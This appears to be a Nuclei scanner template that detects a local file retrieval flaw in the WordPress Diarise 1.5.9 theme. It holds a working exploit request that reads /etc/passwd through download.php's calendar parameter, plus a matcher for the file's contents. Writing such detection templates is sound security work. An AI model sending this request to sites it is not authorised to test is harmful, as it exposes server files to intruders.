id: diarise-theme-lfi

info:
  name: WordPress Diarise 1.5.9 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: WordPress Diarise theme version 1.5.9 suffers from a local file retrieval vulnerability.
  reference:
    - https://packetstormsecurity.com/files/152773/WordPress-Diarise-1.5.9-Local-File-Disclosure.html
    - https://cxsecurity.com/issue/WLB-2019050123
    - https://woocommerce.com/?aff=1790
  classification:
    cwe-id: CWE-98
  metadata:
    max-request: 1
  tags: packetstorm,wordpress,wp-theme,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/diarise/download.php?calendar=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220315a479de15b3f7b0e1c56efeaa3821fa193044e474c09c09b61ec1301c3ff10022100988f5f2eac0aad465902987b3663b412eb7d5ce2f831dfcc936b08539a928be5:922c64590222798bb761d5b6d8e72950